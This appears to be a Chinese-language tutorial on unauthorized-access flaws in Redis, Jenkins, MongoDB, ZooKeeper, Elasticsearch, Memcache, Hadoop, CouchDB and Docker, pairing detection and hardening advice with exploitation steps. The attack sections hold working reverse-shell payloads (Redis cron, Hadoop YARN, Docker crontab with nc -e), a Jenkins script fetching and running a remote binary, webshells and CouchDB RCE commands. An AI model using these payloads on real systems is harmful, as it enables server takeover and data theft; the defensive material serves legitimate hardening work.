未授权访问的tips
字数 2288 2025-08-29 08:32:18

未授权访问漏洞全面分析与防护指南

0x00 前言

本文汇总了多种常见服务的未授权访问漏洞,包括Redis、Jenkins、MongoDB、ZooKeeper、Elasticsearch、Memcache、Hadoop、CouchDB和Docker等,详细介绍了每种漏洞的扫描探测方法、攻击利用技术以及防护措施。

0x01 Redis未授权访问

1. 扫描探测

配置Redis测试环境

vim /etc/redis.conf
cp redis.conf ./src/redis.conf
# 注释掉bind 127.0.0.1或改为0.0.0.0
# 设置protected-mode为no
src/redis-server redis.conf

常用Redis命令

  • info - 查看信息
  • flushall - 删除所有数据库内容
  • flushdb - 刷新数据库
  • KEYS * - 查看所有键
  • set test "who am i" - 设置变量
  • config set dir dirpath - 设置路径
  • config get dir/dbfilename - 获取路径及数据配置
  • save - 保存

工具利用

  • Metasploit模块:
    • auxiliary/scanner/redis/file_upload
    • auxiliary/scanner/redis/redis_login
    • auxiliary/scanner/redis/redis_server
  • Nmap扫描脚本:匿名扫描脚本

2. 攻击方法

1) 利用计划任务反弹shell

# 攻击者监听
nc -lvnp 7999

# Redis执行
set x "\n*bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

2) 写SSH公钥登录

# 本地生成密钥
ssh-keygen -t rsa

# Redis执行
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
cat foo.txt | redis-cli -h x.x.x.x -x set crackit
redis-cli -h x.x.x.x
> config set dir /root/.ssh/
> config set dbfilename "authorized_keys"
> save

# 使用私钥登录
ssh -i id_rsa root@x.x.x.x

3) 写webshell

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save

4) 写二进制文件

使用Lua脚本关闭压缩并写入二进制文件,然后通过计划任务调用Python清洗数据。

5) 自动化工具

3. 防护措施

  1. 禁用高危命令

    rename-command FLUSHALL ""
    rename-command CONFIG ""
    rename-command EVAL ""
    
  2. 低权限运行

    groupadd -r redis && useradd -r -g redis redis
    
  3. 添加密码验证

    requirepass mypassword
    
  4. 禁止外网访问

    bind 127.0.0.1
    
  5. 保护SSH密钥

    chmod 400 ~/.ssh/authorized_keys
    chattr +i ~/.ssh/authorized_keys
    chattr +i ~/.ssh
    
  6. 修改默认端口

    redis-server --port 6380
    
  7. 防火墙规则

    iptables -A INPUT -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
    iptables -I INPUT -p tcp --dport 6379 -j DROP
    service iptables save
    service iptables restart
    

0x02 Jenkins未授权访问

1. 扫描探测

  • 弱口令扫描工具:Jenkins
  • CVE-2017-1000353漏洞

2. 攻击利用

1) 反弹shell

println "wget http://192.168.3.131:8081/exp -P /tmp/".execute().text
println "chmod +x /tmp/exp".execute().text
println "/tmp/exp".execute().text

2) 写webshell

new File("/var/www/html/shell.php").write('<?php @eval($_POST[shell]);?>');

3) 读文件

try{
    text = new File("/etc/passwd").getText();
    out.print text
} catch(Exception e){}

4) 执行命令

def sout = new StringBuilder(), serr = new StringBuilder()
def proc = 'cat /etc/passwd'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

3. 防护措施

  1. 在管理页面添加强密码
  2. 不要将管理后台开放到互联网
  3. 使用ECS安全组策略设置访问控制
  4. 为不同用户分配适当的权限

0x03 MongoDB未授权访问

1. 扫描探测

Nmap扫描

nmap -p 27017 --script mongodb-info <ip>

配置修改

dbpath = /data/
logpath = /var/logs/mongodb.log
#port = 27017
#fork = true
bind_ip = 0.0.0.0

Python扫描脚本

import socket
import sys
import pymongo

def Scanner(ip):
    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sk.settimeout(0.3)
    try:
        sk.connect((ip,27017))
        ipcons.append(ip)
        sk.close()
    except Exception:
        pass

2. 攻击利用

3. 防护措施

  1. 创建管理账户

    use admin
    db.createUser({
      user: "adminUser",
      pwd: "adminPass",
      roles: [ { role: "userAdminAnyDatabase", db: "admin" } ]
    })
    
  2. 本地访问限制

    bind 127.0.0.1
    
  3. 修改默认端口

  4. 禁用HTTP/REST接口

    nohttpinterface = false
    
  5. 开启日志审计

  6. 启用auth认证

    auth = true
    

0x04 ZooKeeper未授权访问

1. 扫描探测

./zkCli.sh -server 127.0.0.1 2181
nmap -sS -p2181 -oG zookeeper.gnmap 192.168.1.0/24

2. 信息获取

  • echo stat |ncat 127.0.0.1 2181
  • echo ruok |ncat 127.0.0.1 2181
  • echo reqs |ncat 127.0.0.1 2181
  • echo envi |ncat 127.0.0.1 2181
  • echo dump |ncat 127.0.0.1 2181

3. 防护措施

  1. 禁止Zookeeper直接暴露在公网
  2. 添加访问控制(认证用户、用户名密码、指定IP)

0x05 Elasticsearch未授权访问

1. 漏洞检测

curl http://127.0.0.1:9200/_cat/indices

2. 防护措施

  1. 防火墙限制

    iptables -A INPUT -p tcp -s 127.0.0.1 --dport 9200 -j ACCEPT
    iptables -I INPUT -p tcp --dport 9200 -j DROP
    
  2. Nginx反向代理
    配置HTTP basic认证

  3. 插件认证

    • Shield(收费)
    • elasticsearch-http-basic
    • searchguard
  4. 配置文件认证

    http.basic.enabled true
    http.basic.user "admin"
    http.basic.password "admin_pw"
    http.basic.ipwhitelist ["localhost", "127.0.0.1"]
    

0x06 Memcache未授权访问

1. 扫描探测

Python检测脚本:

def Memcache_check(ip, port=11211, timeout=5):
    try:
        socket.setdefaulttimeout(timeout)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, int(port)))
        s.send("stats\r\n")
        result = s.recv(1024)
        if "STAT version" in result:
            print '[+] Memcache Unauthorized: ' +ip+':'+str(port)
    except Exception, e:
        pass

2. 攻击利用

常用命令:

  • stats - 查看状态
  • stats items - 查看所有items
  • stats cachedump 32 0 - 获取缓存key
  • get :state:264861539228401373:261588 - 读取缓存值

3. 防护措施

  1. 限制访问

    memcached -d -m 1024 -u root -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid
    
  2. 防火墙规则

    iptables -A INPUT -p tcp -s 127.0.0.1 --dport 11211 -j ACCEPT
    iptables -I INPUT -p tcp --dport 11211 -j DROP
    
  3. 最小权限运行

    memcached -d -m 1024 -u memcached -l 127.0.0.1 -p 11211 -c 1024 -P /tmp/memcached.pid
    
  4. SASL认证

  5. 修改默认端口

0x07 Hadoop未授权访问

1. 常见端口

模块 节点 默认端口
HDFS NameNode 50070
HDFS SecondNameNode 50090
HDFS DataNode 50075
MapReduce JobTracker 50030

2. 攻击方法

Python攻击脚本:

import requests
target = 'http://127.0.0.1:8088/'
lhost = '192.168.0.1' 
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

3. 防护措施

  1. 网络访问控制
  2. 启用Kerberos认证
  3. 定期更新补丁

0x08 CouchDB未授权访问

1. 漏洞利用(CVE-2017-12635和CVE-2017-12636)

1.6.0版本利用:

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

2.1.0版本利用:

curl http://vulhub:vulhub@your-ip:5984/_membership
curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map"language":"cmd"}' -H "Content-Type: application/json"

2. 防护措施

  1. 绑定IP到127.0.0.1
  2. 设置访问密码
  3. 修改默认配置

0x09 Docker未授权访问

1. 漏洞利用

Python攻击脚本:

import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

自动化工具:

2. 防护措施

  1. 修改Docker Remote API默认参数
  2. 设置认证措施
  3. 使用低权限账号运行Docker
  4. 配置防火墙策略

0x10 总结建议

  1. 关注最新漏洞情况,及时修复
  2. 梳理内部开放服务,内网服务不开放公网
  3. 开放公网的服务必须做好访问控制
  4. 避免使用弱密码
  5. 定期进行安全审计和漏洞扫描

通过实施上述防护措施,可以有效降低未授权访问漏洞带来的安全风险,保护企业关键业务系统和数据安全。

未授权访问漏洞全面分析与防护指南 0x00 前言 本文汇总了多种常见服务的未授权访问漏洞,包括Redis、Jenkins、MongoDB、ZooKeeper、Elasticsearch、Memcache、Hadoop、CouchDB和Docker等,详细介绍了每种漏洞的扫描探测方法、攻击利用技术以及防护措施。 0x01 Redis未授权访问 1. 扫描探测 配置Redis测试环境 常用Redis命令 info - 查看信息 flushall - 删除所有数据库内容 flushdb - 刷新数据库 KEYS * - 查看所有键 set test "who am i" - 设置变量 config set dir dirpath - 设置路径 config get dir/dbfilename - 获取路径及数据配置 save - 保存 工具利用 Metasploit模块: auxiliary/scanner/redis/file_ upload auxiliary/scanner/redis/redis_ login auxiliary/scanner/redis/redis_ server Nmap扫描脚本: 匿名扫描脚本 2. 攻击方法 1) 利用计划任务反弹shell 2) 写SSH公钥登录 3) 写webshell 4) 写二进制文件 使用Lua脚本关闭压缩并写入二进制文件,然后通过计划任务调用Python清洗数据。 5) 自动化工具 redis_ exp.py 批量验证工具 3. 防护措施 禁用高危命令 : 低权限运行 : 添加密码验证 : 禁止外网访问 : 保护SSH密钥 : 修改默认端口 : 防火墙规则 : 0x02 Jenkins未授权访问 1. 扫描探测 弱口令扫描工具: Jenkins CVE-2017-1000353漏洞 2. 攻击利用 1) 反弹shell 2) 写webshell 3) 读文件 4) 执行命令 3. 防护措施 在管理页面添加强密码 不要将管理后台开放到互联网 使用ECS安全组策略设置访问控制 为不同用户分配适当的权限 0x03 MongoDB未授权访问 1. 扫描探测 Nmap扫描 配置修改 Python扫描脚本 2. 攻击利用 NoSQLAttack x-crack爆破工具 3. 防护措施 创建管理账户 : 本地访问限制 : 修改默认端口 禁用HTTP/REST接口 : 开启日志审计 启用auth认证 : 0x04 ZooKeeper未授权访问 1. 扫描探测 2. 信息获取 echo stat |ncat 127.0.0.1 2181 echo ruok |ncat 127.0.0.1 2181 echo reqs |ncat 127.0.0.1 2181 echo envi |ncat 127.0.0.1 2181 echo dump |ncat 127.0.0.1 2181 3. 防护措施 禁止Zookeeper直接暴露在公网 添加访问控制(认证用户、用户名密码、指定IP) 0x05 Elasticsearch未授权访问 1. 漏洞检测 2. 防护措施 防火墙限制 : Nginx反向代理 : 配置HTTP basic认证 插件认证 : Shield(收费) elasticsearch-http-basic searchguard 配置文件认证 : 0x06 Memcache未授权访问 1. 扫描探测 Python检测脚本: 2. 攻击利用 常用命令: stats - 查看状态 stats items - 查看所有items stats cachedump 32 0 - 获取缓存key get :state:264861539228401373:261588 - 读取缓存值 3. 防护措施 限制访问 : 防火墙规则 : 最小权限运行 : SASL认证 修改默认端口 0x07 Hadoop未授权访问 1. 常见端口 | 模块 | 节点 | 默认端口 | |------|------|---------| | HDFS | NameNode | 50070 | | HDFS | SecondNameNode | 50090 | | HDFS | DataNode | 50075 | | MapReduce | JobTracker | 50030 | 2. 攻击方法 Python攻击脚本: 3. 防护措施 网络访问控制 启用Kerberos认证 定期更新补丁 0x08 CouchDB未授权访问 1. 漏洞利用(CVE-2017-12635和CVE-2017-12636) 1.6.0版本利用: 2.1.0版本利用: 2. 防护措施 绑定IP到127.0.0.1 设置访问密码 修改默认配置 0x09 Docker未授权访问 1. 漏洞利用 Python攻击脚本: 自动化工具: docker_ api_ vul docker-remote-api-exp 2. 防护措施 修改Docker Remote API默认参数 设置认证措施 使用低权限账号运行Docker 配置防火墙策略 0x10 总结建议 关注最新漏洞情况,及时修复 梳理内部开放服务,内网服务不开放公网 开放公网的服务必须做好访问控制 避免使用弱密码 定期进行安全审计和漏洞扫描 通过实施上述防护措施,可以有效降低未授权访问漏洞带来的安全风险,保护企业关键业务系统和数据安全。